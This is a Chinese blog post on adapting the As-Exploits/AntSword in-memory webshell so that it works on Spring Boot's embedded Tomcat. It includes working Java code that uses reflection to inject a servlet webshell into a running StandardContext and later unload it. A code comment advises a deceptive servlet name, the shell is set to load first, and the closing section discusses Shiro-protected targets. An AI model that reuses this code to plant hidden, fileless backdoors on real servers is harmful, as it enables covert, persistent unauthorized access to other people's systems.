yzddMr6's Blog

脚本小子


  • 首页

  • 分类

  • 标签

  • 归档

  • 知识星球

  • 关于

  • 搜索

As-Exploits内存马兼容Spring

发表于 2021-03-22 更新于 2021-08-08 分类于 技术文章 阅读次数:

前言

最近在对As-Exploits的内存马部分做兼容Spring处理。原来只是照搬了哥斯拉的一些payload,现在需要深入研究一下了。

首先要Spring中默认没有pageContext的依赖,所以相关的依赖部分都要去除。蚁剑的jsp很早就不依赖pageContext了,相关文章以前也写过,不知道的同学可以翻一翻我的博客。

过程

关于反射的坑

在研究过程中可以发现哥斯拉中的payload基本都是用反射实现的,这样的好处就是可以不添加任何依赖。这也是为什么哥斯拉只有8m的原因。

去除掉所有的pageContext后,在Spring中获取servlet没有问题,但是卸载的时候报了一个错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public String unLoadServlet() {
if (wrapperName != null && wrapperName.length() > 0 && urlPattern != null && urlPattern.length() > 0) {
try {
Object o = getFieldValue(this.request.getServletContext(), "context");
Field field = o.getClass().getDeclaredField("context");
field.setAccessible(true);
Object standardContext = getFieldValue(o, "context");
Object wrapper = this.invoke(standardContext, "findChild", wrapperName);
Class containerClass = Class.forName("org.apache.catalina.Container", false, standardContext.getClass().getClassLoader());
if (wrapper != null) {
standardContext.getClass().getDeclaredMethod("removeChild", containerClass).invoke(standardContext, wrapper);
this.invoke(standardContext, "removeServletMapping", urlPattern);
if (this.getMethodByClass(wrapper.getClass(), "setServlet", Servlet.class) == null) {
this.transform(standardContext, urlPattern);
}

return "ok";
} else {
return "not find wrapper";
}
} catch (Exception var8) {
return var8.getMessage();
}
} else {
return "wrapperName or urlPattern is Null";
}
}

内存马管理模块报了一个这样的错误:

image.png

1
15e0d5bERROR:// java.lang.NoSuchMethodException: org.springframework.boot.web.embedded.tomcat.TomcatEmbeddedContext.removeChild(org.apache.catalina.Container)adc1b2c

定位一下问题出在这里

image.png

意思就是在StandardContext中找不到removeChild这个方法。

调试一下发现,Spring中获取到的StandardContext示例为其一个子类,叫做TomcatEmbeddedContext。虽然Spring中内置了Tomcat,但这个是Spring特有的。

image.png

TomcatEmbeddedContext继承了StandardContext,并且没有对removeChild进行改写,如果父类有这个方法应该是可以调用的。

开始以为是Spring在StandardContext中删掉了此方法,结果翻到父类StandardContext,发现跟普通的Tomcat一样,调用的org.apache.catalina.core.ContainerBase#removeChild

image.png

image.png

org.apache.catalina.core.ContainerBase#removeChild

image.png

后来发现先入为主了,问题不是出在没有这个方法上,而是出在反射的写法上。这里要提一下反射中getMethods 跟getDeclaredMethods 的区别:

getMethods 获取所有公有方法(包括父类方法)

getDeclaredMethods 获取本类中的所有方法 (只拿本类中的)

哥斯拉中用的getDeclaredMethod,也就是只能获取到本类中的方法,自然反射拿不到父类的removeChild。

所以解决办法要么把getDeclaredMethod换成getMethod,因为removeChild本来就是public的,要么就直接调用removeChild方法,不采用反射。在这里我采用了后者。

image.png

在内存马模块同理,这里直接全部改了,不再用反射。

addServletMapping的兼容性问题

要注意的是,在添加servlet的过程中,会涉及到addServletMapping函数的兼容性问题,并且很多文章中并没有仔细分析具体的版本号。这里贴一下我研究的结果:

tomcat7 只能addServletMapping

tomcat8 addServletMapping/addServletMappingDecoded都可以

tomcat9 只能addServletMappingDecoded

在这里要么用反射,两种方法都try一下。在这里提供一个更好的解决办法,使用ApplicationServletRegistration这个类。ApplicationServletRegistration对wrapper做了封装,自动会处理两种方法的兼容性。

核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 public String addServlet() throws Exception {
ServletContext servletContext = this.request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);

ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(applicationContextFacade);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Wrapper wrapper = standardContext.createWrapper();
// 改为一个有迷惑性的名字
wrapper.setName(name);
standardContext.addChild(wrapper);

wrapper.setServletClass(this.getClass().getName());
wrapper.setServlet(this);

ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);
registration.addMapping(path);
registration.setLoadOnStartup(1);
if (this.getMethodByClass(wrapper.getClass(), "setServlet", Servlet.class) == null) {
this.transform(standardContext, this.path);//兼容tomcat5/6
this.init((ServletConfig) getFieldValue(wrapper, "facade"));
}
return "Success";

}

运行截图

获取Servlet

image.png

打入蚁剑内存马

image.png

再次获取Servlet,发现已经有了,并且在第一位。

image.png

连接成功

image.png

卸载Servlet

image.png

卸载后再次获取Servlet列表

image.png

最后

虽然我们可以通过setLoadOnStartup把servlet放在第一位,但是面对需要鉴权的shiro等目标打入一个servlet内存马还是有不小的局限性。所以目前filter内存马依旧是主流。但是蚁剑是支持listener类型的,listener的优先级还在filter之上。所以以后可能直接跳过filter,直接加入listener的payload。

本文标题:As-Exploits内存马兼容Spring

文章作者:yzddMr6

发布时间:2021年03月22日 - 14:14

最后更新:2021年08月08日 - 20:53

原始链接:https://yzddmr6.com/posts/As-Exploits-Memory-Shell-For-Spring/

许可协议: 转载请保留原文链接及作者。

yzddMr6 wechat
欢迎加入我的知识星球
你的支持将是我更新的动力!
yzddMr6 微信支付

微信支付

关于Tomcat中的三个Context的理解
As-Exploits v1.2更新
  • 文章目录
  • 站点概览
yzddMr6

yzddMr6

慢就是快,少就是多。
61 日志
3 分类
12 标签
RSS
GitHub E-Mail 简书
友情链接
  • NaiveKun
  • Fi9coder
  • Sardinefish
  • Panda
  • 九世
  • LFY
  • EarthC
  • Ablustrund
  1. 1. 前言
  2. 2. 过程
    1. 2.1. 关于反射的坑
    2. 2.2. addServletMapping的兼容性问题
    3. 2.3. 运行截图
  3. 3. 最后
© 2022 yzddMr6
|